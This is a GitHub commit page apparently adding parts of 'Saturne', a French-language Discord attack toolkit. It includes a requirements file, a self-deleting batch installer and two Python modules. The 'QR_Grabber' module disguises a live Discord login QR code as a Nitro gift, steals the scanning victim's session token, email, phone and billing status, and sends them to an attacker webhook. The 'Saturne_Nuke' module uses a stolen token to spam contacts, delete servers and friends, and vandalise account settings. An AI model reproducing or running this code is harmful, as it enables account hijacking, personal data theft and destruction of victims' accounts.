-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
25 changed files
with
2,335 additions
and
0 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
requests | ||
selenium | ||
bs4 | ||
colorama | ||
pycryptodome | ||
PIL-Tools | ||
Pillow | ||
pyinstaller | ||
psutil | ||
keyboard |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,5 @@ | ||
python -m pip install -r requirements.txt | ||
cls | ||
echo python saturne.py >> start.bat | ||
start start.bat | ||
start /b "" cmd /c del "%~f0"&exit /b |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,182 @@ | ||
############################################################### | ||
# ███████╗ █████╗ ████████╗██╗ ██╗██████╗ ███╗ ██╗███████╗ | ||
# ██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔══██╗████╗ ██║██╔════╝ | ||
# ███████╗███████║ ██║ ██║ ██║██████╔╝██╔██╗ ██║█████╗ | ||
# ╚════██║██╔══██║ ██║ ██║ ██║██╔══██╗██║╚██╗██║██╔══╝ | ||
# ███████║██║ ██║ ██║ ╚██████╔╝██║ ██║██║ ╚████║███████╗ | ||
# ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ | ||
############################################################### | ||
# Crée par GalackQSM | ||
# Github: https://github.com/GalackQSM/Saturne | ||
# Discord: https://discord.gg/saturnetools|XvjJpw4D3m | ||
# © 2022 Saturne | ||
############################################################### | ||
|
||
import requests | ||
import os | ||
import sys | ||
import json | ||
import base64 | ||
import Saturne | ||
|
||
from PIL import Image | ||
from zipfile import ZipFile | ||
from time import sleep | ||
from urllib.request import urlretrieve | ||
from selenium import webdriver | ||
from bs4 import BeautifulSoup | ||
from colorama import Fore | ||
|
||
from util.plugins.common import get_driver, getheaders | ||
|
||
def logo_qr(): | ||
im1 = Image.open('QR-Code/temp_qr_code.png', 'r') | ||
im2 = Image.open('QR-Code/overlay.png', 'r') | ||
im1.paste(im2, (60, 55), im2) | ||
im1.save('QR-Code/Qr_Code.png', quality=95) | ||
|
||
def paste_template(): | ||
im1 = Image.open('QR-Code/template.png', 'r') | ||
im2 = Image.open('QR-Code/Qr_Code.png', 'r') | ||
im1.paste(im2, (120, 409)) | ||
im1.save('QR-Code/discord_gift.png', quality=95) | ||
|
||
def QR_Grabber(Webhook): | ||
type_ = get_driver() | ||
|
||
if type_ == "chromedriver.exe": | ||
opts = webdriver.ChromeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
driver = webdriver.Chrome(options=opts) | ||
# elif type_ == "operadriver.exe": | ||
# opts = webdriver.opera.options.ChromeOptions() | ||
# opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
# opts.add_experimental_option("detach", True) | ||
# driver = webdriver.Opera(options=opts) | ||
elif type_ == "msedgedriver.exe": | ||
opts = webdriver.EdgeOptions() | ||
opts.add_experimental_option('excludeSwitches', ['enable-logging']) | ||
opts.add_experimental_option("detach", True) | ||
driver = webdriver.Edge(options=opts) | ||
else: | ||
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Impossible de trouver un pilote pour créer un code QR') | ||
sleep(3) | ||
print("Entrez n'importe quoi pour continuer... ", end="") | ||
input() | ||
Saturne.main() | ||
|
||
driver.get('https://discord.com/login') | ||
sleep(3) | ||
|
||
page_source = driver.page_source | ||
soup = BeautifulSoup(page_source, features='html.parser') | ||
|
||
div = soup.find('div', {'class': 'qrCode-2R7t9S'}) | ||
qr_code = div.find('img')['src'] | ||
file = os.path.join(os.getcwd(), 'QR-Code/temp_qr_code.png') | ||
|
||
img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) | ||
|
||
print(f"\n{Fore.WHITE}Téléchargement de modèles pour le code QR") | ||
|
||
urlretrieve( | ||
"https://github.com/Rdimo/Injection/raw/master/QR-Code.zip", | ||
filename="QR-Code.zip", | ||
) | ||
with ZipFile("QR-Code.zip", 'r')as zip2: | ||
zip2.extractall() | ||
os.remove("QR-Code.zip") | ||
|
||
with open(file,'wb') as handler: | ||
handler.write(img_data) | ||
|
||
discord_login = driver.current_url | ||
logo_qr() | ||
paste_template() | ||
|
||
os.remove(os.getcwd()+"\\QR-Code\\overlay.png") | ||
os.remove(os.getcwd()+"\\QR-Code\\template.png") | ||
os.remove(os.getcwd()+"\\QR-Code\\temp_qr_code.png") | ||
|
||
print(f'\nQR Code généré en '+os.getcwd()+"\\QR-Code") | ||
print(f'\n{Fore.RED}Assurez-vous que cette fenêtre est ouverte pour récupérer leur token !{Fore.RESET}') | ||
print(f'{Fore.MAGENTA}Envoyez le code QR à un utilisateur et attendez qu\'il scanne!{Fore.RESET}') | ||
os.system(f'start {os.path.realpath(os.getcwd()+"/QR-Code")}') | ||
print(f'\nOuverture d\'un nouveau Saturne afin que vous puissiez continuer à l\'utiliser pendant que celui-ci enregistre le QR Code !\nN\'hésitez pas à réduire cette fenêtre{Fore.RESET}') | ||
if sys.argv[0].endswith(".exe"): | ||
try: | ||
os.startfile(sys.argv[0]) | ||
except Exception: | ||
pass | ||
|
||
while True: | ||
if discord_login != driver.current_url: | ||
token = driver.execute_script(''' | ||
token = (webpackChunkdiscord_app.push([ | ||
[''], | ||
{}, | ||
e=>{m=[];for( | ||
let c in e.c) | ||
m.push(e.c[c])} | ||
]),m) | ||
.find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken() | ||
return token; | ||
''') | ||
j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() | ||
badges = "" | ||
flags = j['flags'] | ||
if (flags == 1): badges += "Staff, " | ||
if (flags == 2): badges += "Partenaire, " | ||
if (flags == 4): badges += "Événement Hypesquad, " | ||
if (flags == 8): badges += "BugHunter vert, " | ||
if (flags == 64): badges += "Hypesquad Bravery, " | ||
if (flags == 128): badges += "HypeSquad Brillance, " | ||
if (flags == 256): badges += "HypeSquad Balance, " | ||
if (flags == 512): badges += "Early Supporter, " | ||
if (flags == 16384): badges += "BugHunter Or, " | ||
if (flags == 131072): badges += "Développeur de bots vérifié, " | ||
if (badges == ""): badges = "Aucun" | ||
|
||
user = j["username"] + "#" + str(j["discriminator"]) | ||
email = j["email"] | ||
phone = j["phone"] if j["phone"] else "Aucun numéro" | ||
|
||
url = f'https://cdn.discordapp.com/avatars/{j["id"]}/{j["avatar"]}.gif' | ||
try: | ||
requests.get(url) | ||
except: | ||
url = url[:-4] | ||
nitro_data = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token)).json() | ||
has_nitro = False | ||
has_nitro = bool(len(nitro_data) > 0) | ||
billing = bool(len(json.loads(requests.get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token)).text)) > 0) | ||
|
||
embed = { | ||
"avatar_url":"https://i.imgur.com/5FntPbU.png", | ||
"embeds": [ | ||
{ | ||
"author": { | ||
"name": "Saturne QR Code Grabber", | ||
"url": "https://github.com/GalackQSM/Saturne", | ||
"icon_url": "https://i.imgur.com/5FntPbU.png" | ||
}, | ||
"description": f"**{user}** vient de scanner le code QR\n\n**Paiment:** `{billing}`\n**Nitro:** `{has_nitro}`\n**Badges:** `{badges}`\n**Email:** `{email}`\n**Téléphone:** `{phone}`\n**[Avatar]({url})**", | ||
"fields": [ | ||
{ | ||
"name": "**Token**", | ||
"value": f"```fix\n{token}```", | ||
"inline": False | ||
} | ||
], | ||
"color": 8388736, | ||
|
||
"footer": { | ||
"text": "© GalackQSM https://github.com/GalackQSM/Saturne" | ||
} | ||
} | ||
] | ||
} | ||
requests.post(Webhook, json=embed) | ||
break | ||
os._exit(0) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
############################################################### | ||
# ███████╗ █████╗ ████████╗██╗ ██╗██████╗ ███╗ ██╗███████╗ | ||
# ██╔════╝██╔══██╗╚══██╔══╝██║ ██║██╔══██╗████╗ ██║██╔════╝ | ||
# ███████╗███████║ ██║ ██║ ██║██████╔╝██╔██╗ ██║█████╗ | ||
# ╚════██║██╔══██║ ██║ ██║ ██║██╔══██╗██║╚██╗██║██╔══╝ | ||
# ███████║██║ ██║ ██║ ╚██████╔╝██║ ██║██║ ╚████║███████╗ | ||
# ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚══════╝ | ||
############################################################### | ||
# Crée par GalackQSM | ||
# Github: https://github.com/GalackQSM/Saturne | ||
# Discord: https://discord.gg/saturnetools|XvjJpw4D3m | ||
# © 2022 Saturne | ||
############################################################### | ||
|
||
import threading | ||
import requests | ||
import Saturne | ||
import random | ||
|
||
from itertools import cycle | ||
from colorama import Fore | ||
|
||
from util.plugins.common import print_slow, setTitle, getheaders, proxy | ||
|
||
def Saturne_Nuke(token, Server_Name, message_Content): | ||
setTitle("Déploiement de Saturne") | ||
print(f"{Fore.RESET}[{Fore.RED}*{Fore.RESET}] {Fore.BLUE}Saturne déployé...") | ||
if threading.active_count() <= 100: | ||
t = threading.Thread(target=CustomSeizure, args=(token, )) | ||
t.start() | ||
|
||
headers = {'Authorization': token} | ||
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json() | ||
for channel in channelIds: | ||
try: | ||
requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages', | ||
proxies={"http": f'{proxy()}'}, | ||
headers=headers, | ||
data={"content": f"{message_Content}"}) | ||
setTitle(f"Messagerie "+channel['id']) | ||
print(f"{Fore.RED}ID de message: {Fore.WHITE}"+channel['id']+Fore.RESET) | ||
except Exception as e: | ||
print(f"L'erreur suivante a été rencontrée et est ignorée: {e}") | ||
print(f"{Fore.RED}Tous les messages ont été envoyer.{Fore.RESET}\n") | ||
|
||
guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json() | ||
for guild in guildsIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], proxies={"http": f'{proxy()}'}, headers={'Authorization': token}) | ||
print(f"{Fore.YELLOW}Serveur quitter: {Fore.WHITE}"+guild['name']+Fore.RESET) | ||
except Exception as e: | ||
print(f"L'erreur suivante a été rencontrée et est ignorée: {e}") | ||
|
||
for guild in guildsIds: | ||
try: | ||
requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], proxies={"http": f'{proxy()}'}, headers={'Authorization': token}) | ||
print(f'{Fore.RED}Serveur supprimer: {Fore.WHITE}'+guild['name']+Fore.RESET) | ||
except Exception as e: | ||
print(f"L'erreur suivante a été rencontrée et est ignorée: {e}") | ||
print(f"{Fore.YELLOW}Tous les serveurs ont été supprimer.{Fore.RESET}\n") | ||
|
||
friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", proxies={"http": f'{proxy()}'}, headers=getheaders(token)).json() | ||
for friend in friendIds: | ||
try: | ||
requests.delete( | ||
f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], proxies={"http": f'{proxy()}'}, headers=getheaders(token)) | ||
setTitle(f"Suppression d'un ami: "+friend['user']['username']+"#"+friend['user']['discriminator']) | ||
print(f"{Fore.GREEN}Ami supprimé: {Fore.WHITE}"+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET) | ||
except Exception as e: | ||
print(f"L'erreur suivante a été rencontrée et est ignorée: {e}") | ||
print(f"{Fore.GREEN}Suppression de tous les amis disponibles.{Fore.RESET}\n") | ||
|
||
for i in range(100): | ||
try: | ||
payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None} | ||
requests.post('https://discord.com/api/v7/guilds', proxies={"http": f'{proxy()}'}, headers=getheaders(token), json=payload) | ||
setTitle(f"Création du serveur {Server_Name} #{i}") | ||
print(f"{Fore.BLUE}Création du serveur {Server_Name} #{i}.{Fore.RESET}") | ||
except Exception as e: | ||
print(f"L'erreur suivante a été rencontrée et est ignorée: {e}") | ||
print(f"{Fore.BLUE}Créé tous les serveurs.{Fore.RESET}\n") | ||
t.do_run = False | ||
requests.delete("https://discord.com/api/v8/hypesquad/online", proxies={"http": f'{proxy()}'}, headers=getheaders(token)) | ||
setting = { | ||
'theme': "light", | ||
'locale': "ja", | ||
'message_display_compact': False, | ||
'inline_embed_media': False, | ||
'inline_attachment_media': False, | ||
'gif_auto_play': False, | ||
'render_embeds': False, | ||
'render_reactions': False, | ||
'animate_emoji': False, | ||
'convert_emoticons': False, | ||
'enable_tts_command': False, | ||
'explicit_content_filter': '0', | ||
"custom_status": {"text": "je me suis fait niquez par https://github.com/GalackQSM/"}, | ||
'status': "idle" | ||
} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", proxies={"http": f'{proxy()}'}, headers=getheaders(token), json=setting) | ||
j = requests.get("https://discordapp.com/api/v9/users/@me", proxies={"http": f'{proxy()}'}, headers=getheaders(token)).json() | ||
a = j['username'] + "#" + j['discriminator'] | ||
setTitle(f"Saturne a tout explosé avec succès!") | ||
print_slow(f"{Fore.GREEN}Vous avez réussi detruit le compte de {a} ") | ||
print("Entrez n'importe quoi pour continuer. . . ", end="") | ||
input() | ||
Saturne.main() | ||
|
||
def CustomSeizure(token): | ||
print(f'{Fore.MAGENTA}Démarrage du mode saisie {Fore.RESET}{Fore.WHITE}(Activer/désactiver le mode clair/sombre){Fore.RESET}\n') | ||
t = threading.currentThread() | ||
while getattr(t, "do_run", True): | ||
modes = cycle(["light", "dark"]) | ||
setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])} | ||
requests.patch("https://discord.com/api/v7/users/@me/settings", proxies={"http": f'{proxy()}'}, headers=getheaders(token), json=setting) |
Oops, something went wrong.